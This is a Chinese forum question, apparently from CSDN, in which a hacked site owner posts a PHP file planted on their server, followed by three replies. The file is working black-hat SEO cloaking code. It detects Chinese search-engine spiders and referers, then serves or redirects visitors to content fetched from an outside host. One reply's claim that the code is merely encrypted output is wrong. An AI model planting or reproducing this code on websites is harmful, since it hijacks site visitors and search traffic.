2 weguiding WeGuiding 于 2017.01.10 09:05 提问

网站被入侵,这段代码具体作用是啥,求大神解答

<?php
set_time_limit(20);error_reporting(0);

define('u_b','/');

define('s_u','http://jc.dy2030.com/');

define('s_s','@haosou.com|360.cn| spider|360spider|so|360|sogou|sm.cn|youdao@i');

define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p());

function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}

if(preg_match(s_s,r_s)){$d_s=true;if(preg_match("@site%3A|inurl%3A@i",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s ){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header("Location: ".$d_c.'?'.h_t);exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}
?>

3个回答

lckx1
lckx1   2017.01.10 10:02

看着像是一个黑帽SEO的蠕虫,当360的搜索引擎来爬你网站的时候,他会返回http://jc.dy2030.com/'这个页面的内容,这样会帮他提高网站的关键词

u013270289
u013270289   2017.01.16 16:21

这就是传说中的挂马,把类似的文件都删除,安全权限调高,别开放所有的读写

q1343454666
q1343454666   2017.03.01 13:59

楼上说的我都看着笑了。这明显是代码加密后显示的样子

Csdn user default icon
上传中...
上传图片
插入图片
准确详细的回答,更有利于被提问者采纳,从而获得C币。复制、灌水、广告等回答会被删除,是时候展现真正的技术了!